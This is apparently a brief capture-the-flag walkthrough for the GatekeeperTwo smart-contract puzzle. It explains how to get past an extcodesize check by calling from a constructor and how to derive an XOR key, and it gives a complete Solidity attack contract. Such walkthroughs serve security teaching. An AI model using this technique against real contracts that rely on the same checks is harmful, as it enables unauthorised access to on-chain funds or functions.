00Overview
Gate 2 requires `extcodesize(caller) == 0`. A contract's code size is 0 during its constructor — so calling `enter()` from inside the constructor passes the check. Gate 3 requires an XOR-based key derived from the caller's address.
01Deploy and attack from constructor
javascript
contract GK2Attack {
constructor(address target) {
bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);
GatekeeperTwo(target).enter(key);
}
}02Level Completed
